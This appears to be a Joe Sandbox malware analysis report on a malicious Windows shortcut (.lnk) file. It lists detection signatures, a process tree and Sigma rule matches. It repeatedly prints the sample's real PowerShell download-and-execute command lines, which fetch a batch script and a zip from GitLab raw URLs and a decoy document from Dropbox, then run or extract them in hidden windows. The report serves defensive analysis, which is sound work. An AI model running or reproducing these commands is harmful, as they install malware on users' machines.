Edit tour

Windows Analysis Report
2h2xLB9h1L.lnk

Overview

General Information

Sample name:	2h2xLB9h1L.lnk renamed because original name is a hash value
Original sample name:	ee7357e3b3ae2812e9b29782ea48d820dac4dff338ed97b05b6998b6202f3f27.lnk
Analysis ID:	1557423
MD5:	03472b7244da723afe003faddb7ca65f
SHA1:	d68ad3460e242a0d5f68b117fa97d15bbf086227
SHA256:	ee7357e3b3ae2812e9b29782ea48d820dac4dff338ed97b05b6998b6202f3f27
Tags:	Braodolnkuser-JAMESWT_MHT
Infos:

Detection

Abobus Obfuscator

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Abobus Obfuscator

Yara detected Powershell download and execute

AI detected suspicious sample

Machine Learning detection for sample

Powershell drops PE file

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: PowerShell DownloadFile

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Windows shortcut file (LNK) contains suspicious command line arguments

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 3556 cmdline: "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1832 cmdline: powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5500 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\UpdateScript.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6324 cmdline: chcp.com 437 MD5: 33395C4732A49065EA72590B14B64F32)

find.exe (PID: 1624 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

findstr.exe (PID: 6512 cmdline: fIndstr /L /I set "C:\Users\user\AppData\Local\Temp\UpdateScript.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 5732 cmdline: fIndstr /L /I goto "C:\Users\user\AppData\Local\Temp\UpdateScript.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 4784 cmdline: fIndstr /L /I echo "C:\Users\user\AppData\Local\Temp\UpdateScript.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 1872 cmdline: fIndstr /L /I pause "C:\Users\user\AppData\Local\Temp\UpdateScript.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 6280 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

find.exe (PID: 5644 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 1796 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 400 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4144 cmdline: powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1780 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/17Fukrun.zip', 'C:\Users\Public\Document.zip')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1244 cmdline: powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\UpdateScript.bat	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: cmd.exe PID: 5500	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security
Process Memory Space: powershell.exe PID: 400	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1780	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_400.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_1780.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", ProcessId: 3556, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\UpdateScript.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 400, ProcessName: powershell.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1832, TargetFilename: C:\Users\user\AppData\Local\Temp\UpdateScript.bat

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\UpdateScript.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 400, ProcessName: powershell.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1780, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1832, TargetFilename: C:\Users\user\AppData\Local\Temp\UpdateScript.bat

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\UpdateScript.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1', 'C:\Users\user\AppData\Local\Temp\\17_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 400, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", ProcessId: 3556, ProcessName: cmd.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", ProcessId: 3556, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", CommandLine: powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3556, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f", ProcessId: 1832, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://instructorledlearning.dropboxbusiness.com/

Avira URL Cloud: Label: phishing

Multi AV Scanner detection for submitted file

Source: 2h2xLB9h1L.lnk	ReversingLabs: Detection: 23%
Source: 2h2xLB9h1L.lnk	Virustotal: Detection: 37%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.2% probability

Machine Learning detection for sample

Source: 2h2xLB9h1L.lnk

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.66.18:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.9:49711 version: TLS 1.2

Source:	Binary string: ystem.pdb source: powershell.exe, 0000000F.00000002.1550214916.000001F16DA00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb2 source: powershell.exe, 0000000F.00000002.1551565335.000001F16DD36000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000F.00000002.1551565335.000001F16DD36000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: and f.endswith(('.exe', '.pdb'))): source: powershell.exe, 00000016.00000002.2599061875.000001ADC9803000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC980F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .pdbm source: powershell.exe, 0000000F.00000002.1534111172.000001F153A99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32 source: powershell.exe, 0000000F.00000002.1551565335.000001F16DD16000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: if not srcfile.endswith(('.exe', '.pdb')): source: powershell.exe, 00000016.00000002.2599061875.000001ADC9803000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2599061875.000001ADC980F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: )n.pdb source: powershell.exe, 0000000F.00000002.1551565335.000001F16DD16000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic	HTTP traffic detected: GET /scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bose1511/mkt1511/-/raw/main/17Fukrun.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.65.251.78 172.65.251.78
Source: Joe Sandbox View	IP Address: 162.125.66.18 162.125.66.18

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ipinfo.io

Source: global traffic

HTTP traffic detected: GET /bose1511/mkt1511/-/raw/main/hnbose1711.bat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gitlab.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /bose1511/mkt1511/-/raw/main/hnbose1711.bat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gitlab.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=qe97degd&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bose1511/mkt1511/-/raw/main/17Fukrun.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: #Policy: media-src https://* blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; base-uri 'self' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; font-src https:// data: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; img-src https://* data: blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: media-src https://* blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; base-uri 'self' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; font-src https:// data: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; img-src https://* data: blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000F.00000002.1534774564.000001F156F15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ult-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; base-uri 'self' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ 